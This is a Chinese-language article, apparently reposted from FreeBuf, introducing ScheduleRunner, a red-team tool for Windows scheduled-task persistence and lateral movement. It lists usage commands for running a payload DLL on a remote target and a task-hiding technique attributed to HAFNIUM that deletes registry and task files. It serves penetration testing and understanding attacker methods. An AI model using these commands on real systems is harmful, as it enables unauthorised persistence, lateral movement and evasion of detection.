关于ScheduleRunner
通过“计划任务”来实现渗透测试是过去十年中最流行的技术之一,而且该技术也是目前网络安全研究人员在实现持久化和横向移动时说普遍使用的。
在此之前,社区已经有很多相关的C#工具了,但这些工具多多少少都会有一些局限性。因此,ScheduleRunner便应运而生。ScheduleRunner同样也是一款基于C#开发的安全测试工具,该工具提供了高度定制化开发支持,灵活性也非常高,可以在渗透测试活动中帮助广大研究人员通过“计划任务”来实现持久化和横向移动任务。
工具方法
方法 |
功能 |
create |
创建一个新的计划任务 |
delete |
删除一个计划任务 |
run |
执行一个计划任务 |
query |
查询计划任务详情,或查看目录下的全部计划任务 |
queryfolders |
查询所有子文件夹中的计划任务 |
move |
使用计划任务(自动创建、运行和删除)执行横向移动 |
工具下载
广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/netero1010/ScheduleRunner.git
工具使用
创建一个名为“Cleanup”的计划任务,并在每天23:30执行:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010
创建一个名为“Cleanup”的计划任务,并在远程服务器上每4个小时执行一次:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:temppayload.dll /remoteserver:TARGET-PC01
删除一个名为“Cleanup”的计划任务:
ScheduleRunner.exe /method:delete /taskname:Cleanup
执行一个名为“Cleanup”的计划任务:
ScheduleRunner.exe /method:run /taskname:Cleanup
查询远程服务器中“MicrosoftWindowsCertificateServicesClient”目录下名为“Cleanup”的计划任务详情:
ScheduleRunner.exe /method:query /taskname:Cleanup /folder:MicrosoftWindowsCertificateServicesClient /remoteserver:TARGET-PC01
查询远程服务器中“MicrosoftWindowsCertificateServicesClient”目录下的所有计划任务:
ScheduleRunner.exe /method:query /folder:MicrosoftWindowsCertificateServicesClient /remoteserver:TARGET-PC01
查询计划任务中所有的子目录:
ScheduleRunner.exe /method:queryfolders
使用指定的用户账号在远程服务器中通过计划任务执行横向移动:
ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:temppayload.dll /user:netero1010
使用计划任务隐藏技术创建一个名为“Cleanup”的计划任务:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide
删除使用了计划任务隐藏技术创建的名为“Cleanup”的计划任务:
ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide
隐藏计划任务
这项技术是HAFNIUM团队一直在使用的,近期才被微软所发现。该技术的使用需要“NT AUTHORITY/SYSTEM”权限,接下来ScheduleRunner将会执行下列操作:
1、从“HKLMSOFTWAREMicrosoftWindows NTCurrentVersionScheduleTaskCacheTree[task name]”删除“SD”值;
2、删除计划任务XML文件“C:WindowsSystem32Tasks[task name]”;
如果想要删除此技术创建的计划任务,则需要在delete方法中添加“/technique:hide”以正确删除任务。
技术限制
如果任务是通过注册表删除的话,那么该任务仍然会在下次系统重新启动时继续运行。因此,最好不要在服务器上使用这种技术来进行操作。
工具运行截图
项目地址
https://github.com/netero1010/ScheduleRunner
参考资料
https://github.com/dahall/TaskScheduler
https://github.com/mandiant/SharPersist
https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
精彩推荐
原文始发于微信公众号(FreeBuf):如何使用ScheduleRunner在红队活动中实现持久化和横县移动计划任务
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论